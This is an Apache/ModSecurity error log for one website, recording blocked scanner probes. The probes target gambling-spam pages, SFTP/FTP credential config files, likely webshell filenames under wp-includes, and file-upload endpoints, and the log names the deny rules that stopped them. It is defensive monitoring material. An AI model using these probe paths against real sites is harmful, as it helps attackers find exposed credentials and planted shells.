[Wed Jan 28 02:13:26.084243 2026] [:error] [pid 24425:tid 24443] [client 217.182.195.181:56482] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot666.aspx"] [unique_id "aXkARh_qUCA3SusVe0uSGwAAAQ0"]
[Wed Jan 28 02:13:29.643116 2026] [:error] [pid 41678:tid 41716] [client 217.182.195.181:46470] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot777.aspx"] [unique_id "aXkASaja89ZyPVwMdig7-wAAABc"]
[Wed Jan 28 02:13:33.269322 2026] [:error] [pid 24427:tid 24501] [client 217.182.195.181:46480] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot789.aspx"] [unique_id "aXkATU5-wqSNb5f_hOIMSwAAAZA"]
[Wed Jan 28 02:13:36.628348 2026] [:error] [pid 24426:tid 24469] [client 217.182.195.181:46496] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot99.aspx"] [unique_id "aXkAUPbw8B_M5J5XrXQHTwAAAUs"]
[Wed Jan 28 02:13:39.867495 2026] [:error] [pid 24425:tid 24434] [client 217.182.195.181:43552] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot999.aspx"] [unique_id "aXkAUx_qUCA3SusVe0uSKgAAAQQ"]
[Wed Jan 28 02:13:42.776714 2026] [:error] [pid 24511:tid 24527] [client 217.182.195.181:43562] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotpg.aspx"] [unique_id "aXkAVmmoieLyDzs0ASQQ0AAAAIw"]
[Wed Jan 28 02:13:47.402599 2026] [:error] [pid 41678:tid 41703] [client 217.182.195.181:43568] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aXkAW6ja89ZyPVwMdig8LgAAAAo"]
[Wed Jan 28 02:13:51.002231 2026] [:error] [pid 24427:tid 24504] [client 217.182.195.181:59450] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aXkAX05-wqSNb5f_hOIMYQAAAZM"]
[Wed Jan 28 02:13:54.439602 2026] [:error] [pid 41678:tid 41709] [client 217.182.195.181:59466] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aXkAYqja89ZyPVwMdig8OwAAABA"]
[Wed Jan 28 02:13:57.875570 2026] [:error] [pid 24511:tid 24529] [client 217.182.195.181:59480] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aXkAZWmoieLyDzs0ASQQ3wAAAI4"]
[Wed Jan 28 02:14:01.128809 2026] [:error] [pid 24426:tid 24473] [client 217.182.195.181:40218] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aXkAafbw8B_M5J5XrXQHbQAAAU8"]
[Wed Jan 28 02:14:04.310863 2026] [:error] [pid 24425:tid 24432] [client 217.182.195.181:40224] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXkAbB_qUCA3SusVe0uSQwAAAQI"]
[Wed Jan 28 02:14:07.259576 2026] [:error] [pid 41678:tid 41711] [client 217.182.195.181:40232] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%20%E0%B9%80%E0%B8%A5%E0%B8%A2.aspx"] [unique_id "aXkAb6ja89ZyPVwMdig8XQAAABI"]
[Wed Jan 28 02:14:36.126861 2026] [:error] [pid 24426:tid 24463] [client 217.182.195.181:37192] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A365.aspx"] [unique_id "aXkAjPbw8B_M5J5XrXQHuwAAAUU"]
[Wed Jan 28 02:14:39.454919 2026] [:error] [pid 24426:tid 24469] [client 217.182.195.181:47456] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aXkAj_bw8B_M5J5XrXQHwwAAAUs"]
[Wed Jan 28 02:14:43.337224 2026] [:error] [pid 24426:tid 24460] [client 217.182.195.181:47470] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aXkAk_bw8B_M5J5XrXQHzwAAAUI"]
[Wed Jan 28 02:14:46.955675 2026] [:error] [pid 24511:tid 24515] [client 217.182.195.181:47486] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aXkAlmmoieLyDzs0ASQRFwAAAIA"]
[Wed Jan 28 02:14:50.018024 2026] [:error] [pid 24511:tid 24535] [client 217.182.195.181:53784] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet289.aspx"] [unique_id "aXkAmmmoieLyDzs0ASQRHgAAAJQ"]
[Wed Jan 28 02:14:53.101544 2026] [:error] [pid 24426:tid 24482] [client 217.182.195.181:53792] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/victory%20club%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXkAnfbw8B_M5J5XrXQH2wAAAVg"]
[Wed Jan 28 02:14:56.589872 2026] [:error] [pid 24425:tid 24438] [client 217.182.195.181:53802] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aXkAoB_qUCA3SusVe0uSpwAAAQg"]
[Wed Jan 28 02:14:59.380792 2026] [:error] [pid 24427:tid 24507] [client 217.182.195.181:56744] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aXkAo05-wqSNb5f_hOIMsQAAAZY"]
[Wed Jan 28 02:15:02.194942 2026] [:error] [pid 41678:tid 41717] [client 217.182.195.181:56758] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aXkApqja89ZyPVwMdig8xwAAABg"]
[Wed Jan 28 02:15:04.885962 2026] [:error] [pid 41678:tid 41698] [client 217.182.195.181:56760] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aXkAqKja89ZyPVwMdig8ywAAAAU"]
[Wed Jan 28 02:42:54.370105 2026] [ssl:error] [pid 24426:tid 24479] [client 15.204.161.7:5462] AH02032: Hostname www.measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: https://www.measureyourbrand.com/
[Wed Jan 28 03:33:40.591758 2026] [:error] [pid 24426:tid 24474] [client 130.12.182.150:47912] [client 130.12.182.150] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aXkTFPbw8B_M5J5XrXQa2wAAAVA"]
[Wed Jan 28 03:33:41.242902 2026] [:error] [pid 7461:tid 7479] [client 130.12.182.150:44114] [client 130.12.182.150] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aXkTFRuPuolxx74XmceOnQAAAE8"]
[Wed Jan 28 03:33:42.633941 2026] [:error] [pid 7491:tid 7512] [client 130.12.182.150:47998] [client 130.12.182.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/.vscode/sftp.json"] [unique_id "aXkTFo1dhx8rf42W1S1QugAAANE"], referer: http://measureyourbrand.com.au/.vscode/sftp.json
[Wed Jan 28 03:33:42.644245 2026] [:error] [pid 7491:tid 7516] [client 130.12.182.150:47994] [client 130.12.182.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/.ftpconfig"] [unique_id "aXkTFo1dhx8rf42W1S1QuwAAANU"], referer: http://measureyourbrand.com.au/.ftpconfig
[Wed Jan 28 04:08:11.152613 2026] [ssl:error] [pid 17425:tid 17480] [client 40.160.16.154:23418] AH02032: Hostname measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: https://measureyourbrand.com/
[Wed Jan 28 04:35:49.154521 2026] [ssl:error] [pid 17426:tid 17491] [client 40.160.16.154:25402] AH02032: Hostname www.measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: https://www.measureyourbrand.com/
[Wed Jan 28 05:09:43.631282 2026] [:error] [pid 17535:tid 17539] [client 45.154.138.1:32725] [client 45.154.138.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aXkpl63QiSMgVscnN5L_VwAAAME"]
[Wed Jan 28 05:09:45.051991 2026] [:error] [pid 17426:tid 17508] [client 45.154.138.46:64833] [client 45.154.138.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aXkpmU8zvf_03BnziRfnhAAAAJM"]
[Wed Jan 28 05:09:48.851104 2026] [:error] [pid 64842:tid 64860] [client 45.154.138.42:21831] [client 45.154.138.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aXkpnFuAAQZ5AN_SnDbidQAAAVA"]
[Wed Jan 28 05:09:50.802784 2026] [:error] [pid 17426:tid 17510] [client 45.154.138.28:21211] [client 45.154.138.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aXkpnk8zvf_03BnziRfnugAAAJU"]
[Wed Jan 28 05:09:51.722970 2026] [:error] [pid 64842:tid 64850] [client 45.154.138.18:51563] [client 45.154.138.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aXkpn1uAAQZ5AN_SnDbijAAAAUY"]
[Wed Jan 28 05:09:52.641794 2026] [:error] [pid 17535:tid 17550] [client 45.154.138.37:51277] [client 45.154.138.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aXkpoK3QiSMgVscnN5L_hwAAAMw"]
[Wed Jan 28 05:09:54.039895 2026] [:error] [pid 17535:tid 17557] [client 45.154.138.24:35797] [client 45.154.138.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aXkpoq3QiSMgVscnN5L_lgAAANM"]
[Wed Jan 28 05:09:55.432720 2026] [:error] [pid 17425:tid 17469] [client 45.154.138.40:53903] [client 45.154.138.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aXkpo6rcODKH1Dl7aZAOjAAAAEc"]
[Wed Jan 28 05:09:59.158757 2026] [:error] [pid 17426:tid 17488] [client 45.154.138.15:50857] [client 45.154.138.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aXkpp08zvf_03BnziRfn7QAAAIA"]
[Wed Jan 28 05:10:16.018566 2026] [autoindex:error] [pid 58254:tid 58262] [client 45.154.138.4:56721] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:12:55.361684 2026] [authz_core:error] [pid 17425:tid 17473] [client 45.154.138.38:38867] AH01630: client denied by server configuration: /home/measureyourbrand/public_html/system/
[Wed Jan 28 05:39:29.898924 2026] [:error] [pid 17424:tid 17450] [client 149.102.233.241:55399] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vendor/jquery.filer/index.html"] [unique_id "aXkwkWRvtDRvGDe-pItvwAAAABE"]
[Wed Jan 28 05:39:31.417737 2026] [:error] [pid 64842:tid 64853] [client 149.102.233.241:55499] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/jquery.filer/index.html"] [unique_id "aXkwk1uAAQZ5AN_SnDYi_gAAAUk"]
[Wed Jan 28 05:39:33.143885 2026] [:error] [pid 64842:tid 64849] [client 149.102.233.241:55595] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/plugins/jquery.filer/index.html"] [unique_id "aXkwlVuAAQZ5AN_SnDYjBwAAAUU"]
[Wed Jan 28 05:39:34.655837 2026] [:error] [pid 58254:tid 58264] [client 149.102.233.241:55711] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asset/jquery.filer/index.html"] [unique_id "aXkwlvF8nSyBg9wOsa86KAAAAQg"]
[Wed Jan 28 05:39:36.175852 2026] [:error] [pid 64842:tid 64854] [client 149.102.233.241:55796] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/plugins/jquery.filer/index.html"] [unique_id "aXkwmFuAAQZ5AN_SnDYjEgAAAUo"]
[Wed Jan 28 05:39:38.045796 2026] [:error] [pid 64842:tid 64868] [client 149.102.233.241:55935] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/jquery.filer/index.html"] [unique_id "aXkwmluAAQZ5AN_SnDYjGQAAAVg"]
[Wed Jan 28 05:39:39.562776 2026] [:error] [pid 2454:tid 2472] [client 149.102.233.241:56030] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/ckeditor/kcfinder/browse.php"] [unique_id "aXkwm5vv4I21Ywd7NNYhLQAAAY4"]
[Wed Jan 28 05:39:41.328663 2026] [:error] [pid 17535:tid 17547] [client 149.102.233.241:56136] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/kcfinder/browse.php"] [unique_id "aXkwna3QiSMgVscnN5JBRgAAAMk"]
[Wed Jan 28 05:39:42.851541 2026] [:error] [pid 58254:tid 58259] [client 149.102.233.241:56255] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/files/assets/ckeditor/kcfinder/browse.php"] [unique_id "aXkwnvF8nSyBg9wOsa86PQAAAQM"]
[Wed Jan 28 05:39:44.365394 2026] [:error] [pid 2454:tid 2464] [client 149.102.233.241:56356] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib/kcfinder/browse.php"] [unique_id "aXkwoJvv4I21Ywd7NNYhQgAAAYY"]
[Wed Jan 28 05:39:45.881685 2026] [:error] [pid 17425:tid 17467] [client 149.102.233.241:56447] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/lib/kcfinder/browse.php"] [unique_id "aXkwoarcODKH1Dl7aZBMyAAAAEU"]
[Wed Jan 28 05:39:47.394746 2026] [:error] [pid 17426:tid 17498] [client 149.102.233.241:56548] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/panel/kcfinder/browse.php"] [unique_id "aXkwo08zvf_03BnziRcq2AAAAIk"]
[Wed Jan 28 05:39:48.926797 2026] [:error] [pid 17426:tid 17508] [client 149.102.233.241:56651] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asset/kcfinder/browse.php"] [unique_id "aXkwpE8zvf_03BnziRcq4AAAAJM"]
